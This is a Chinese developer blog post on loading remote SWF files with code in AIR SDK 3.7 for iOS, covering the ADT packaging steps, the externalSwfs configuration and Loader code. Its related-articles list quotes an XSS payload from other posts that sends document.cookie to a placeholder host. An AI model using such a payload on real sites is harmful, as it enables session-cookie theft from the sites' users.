AIRSDK 3.7 加载远程的含有代码的swf文件
之前就说这个版本会解决可以加载远程的含有代码的swf文件的需求。但是,一直比较好奇这个是否行得通,还以为 Adobe 副总裁去了苹果,内部给了特殊待遇。 因为苹果一直就是不允许远程加载代码的,像js文件都是很危险的。
但是,昨天这个3.7发布后,弄了下。发现这个并不是想象那样。
目前,3.7实现的方式是 在打包ipa的时候,ADT 会对需要外部加载的swf文件进行处理,从中抽取了ABC码打包到ipa中,然后得到一个没有abc码的swf,那么你就把这个swf部署到服务器上。
步骤:
1.建立外部swf描述的txt文件(例如为assets/sample.txt)。格式如下:
assets/ememy.swf
assets/player.swf
2.工程描述文件中增加外部swf描述的txt文件的标签描述
<iPhone>
……….
<externalSwfs>assets/sample.txt</externalSwfs>
</iPhone>
3.目前如果使用这个功能,不能直接使用FlashBuilder打包,需要使用ADT,(具体参考ADT打包),下面提供一个范例:
adt -package -target ipa-app-store -provisioning-profile <Provisioning Profile> -storetype pkcs12 -keystore <Certificate> -storepass <Password> Test.ipa Test-app.xml Test.swf assets/sample.txt assets/player.swf assets/enemy.swf
4.打包完以后,会在命令行的当前目录下生成一个externalStrippedSwfs目录,里面就是经过处理的swf(逻辑ABC码被剥掉的),这些swf可以部署到服务器上,加载就加载这些swf,而不是它们原始的那些swf.
5.目前这个功能只能支持单一程序域,使用Loader进行加载的时候,需要指定LoaderContext的程序域为当前程序域.
externalLoader = new Loader();
externalLoader.contentLoaderInfo.addEventListener(Event.COMPLETE,completeHandler);
externalLoader.contentLoaderInfo.addEventListener(IOErrorEvent.IO_ERROR,errorHandler);
ldrContext=new LoaderContext(false,ApplicationDomain.currentDomain,null);
externalLoader.load(urlRequest, ldrContext);
6.目前这个功能比较容易导致程序崩溃掉,官方说明,像Flex的swf,资源太大的(例如含有视频的) 都可以令程序崩溃。
具体还可以参考官方的Notes : http://helpx.adobe.com/en/flash-player/release-note/fp_117_air_37_release_notes.html
另外,重点说明几点:
1.只能使用单一的程序域,那么你加载进来的swf之间, 还有这些swf和主程序的swf,不能存在类的全称名(包名+类名) 相同,否则会存在冲突。
2.abc 被抽取出来打包到ipa中,那是否每更新这个远程的swf都要重新打包更新。 这个就取决于你所需要更新的内容是否涉及到代码,如果仅仅是资源的内容更新那是不需要重新打包ipa的,例如图片大小、颜色调整。所以得考虑所更新的内容是否涉及到ABC码。
AIRSDK 3.7 加载远程的含有代码的swf文件的更多相关文章
- springMVC加载远程freemarker模板文件
在一个大网站里,有很多子域名,也就是有很多子系统,这些子系统由不同的团队负责,对整个网站的风格的风格至少得要是一致的(最基本的页头.页尾必须一致),这个时候得提供一份统一的页头.页尾以及公共的JS.c ...
- XSS漏洞之加载远程js文件
这次在对一个系统渗透测试过程中,发现一个XSS漏洞,可弹窗,并且没有httponly 但是在尝试加载远程js文件的时候发现,script标签被过滤掉了,准确的说应该是服务器后端在识别到输入内容有< ...
- jQuery.ajax( options ) : 通过 HTTP 请求加载远程数据
jQuery.ajax( options ) : 通过 HTTP 请求加载远程数据 这个是jQuery 的底层 AJAX 实现.简单易用的高层实现见 $.get, $.post 等. $.ajax() ...
- iOS Cordova 加载远程界面
老大说,我们的项目要hybrid,要实现1.html能调用native:2.本地html调用本地html界面:3.能加载远程界面..... 因为我的项目是已有的(以下简称 项目),所以是要在已有的项目 ...
- xss如何加载远程js的一些tips
在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...
- xss 加载远程第三方JS
script 没有调用远程平台,用web接收cookie <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.coo ...
- ExtJS ComboBox同时加载远程和本地数据
ExtJS ComboBox同时加载远程和本地数据 原文:http://gblog.hbcf.net/index.php/archives/233 ComboBox比较特殊需求,将远程数据和本地数据同 ...
- iOS开发——网络Swift篇&NSURLSession加载数据、下载、上传文件
NSURLSession加载数据.下载.上传文件 NSURLSession类支持三种类型的任务:加载数据.下载和上传.下面通过样例分别进行介绍. 1,使用Data Task加载数据 使用全局的 ...
- webpack加载多级依赖时css、html文件不能正确resolve的问题
在使用webpack+avalon以及avalon的mmRouter做SPA的时候,碰到一个困扰数周的问题:webpack加载多级依赖时出现了css文件和模板(html)文件不能正确resolve.原 ...
随机推荐
- 网页编程-Django(一)
业内: GET:获取数据 POST:提交数据 上传单个数据: request.POST.get(‘’name名‘’) 上传多选数据: request.POST.getlist('name名') 上传文 ...
- 前端基础——CSS盒子模型
如今很多网页都是由很多个"盒子"拼接.嵌套而成,所以多少接触过网页设计的朋友一定都对CSS盒子模型有所了解. 为了更好的说明,先举个通俗的样例:在一个仓库中放了10个纸箱,每一个纸 ...
- 辛星浅析html5中的role属性
我们使用role属性告诉辅助设备.这个元素所扮演的角色.比方点击的按钮,我们通常就使用role="button",会让这个元素可点击. 可是它很多其它的是用来增强语义性,当现有的h ...
- Android笔记之DrawerLayout的基本使用
效果图 activity_main.xml <?xml version="1.0" encoding="utf-8"?> <LinearLay ...
- TTimer源码研究
TTimerProc = procedure of object; IFMXTimerService = interface(IInterface) ['{856E938B-FF7B-4E13-85D ...
- 12.HTML DOM 允许 JavaScript 改变 HTML 元素的内容。
1,改变 HTML 输出流 <script> document.write(Date()); </script> 2,改变 HTML 内容 <script> doc ...
- selenium2 浏览器版本问题
一.chrome浏览器 chrome浏览器与驱动版本对应关系 ----------ChromeDriver v2.26 (2016-12-09)---------- Supports Chrome v ...
- sample code java pom.xml
pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="htt ...
- spring和springmvc中,Configuration注解Bean重复加载
问题:bean重复加载1.如下代码所示,开启Configuration注解,实现Bean代码注入,发现bean重复加载 @Configuration public class EhCacheConfi ...
- LVS集群中的IP负载均衡技术
LVS集群中的IP负载均衡技术 章文嵩 (wensong@linux-vs.org) 转自LVS官方参考资料 2002 年 4 月 本文在分析服务器集群实现虚拟网络服务的相关技术上,详细描述了LVS集 ...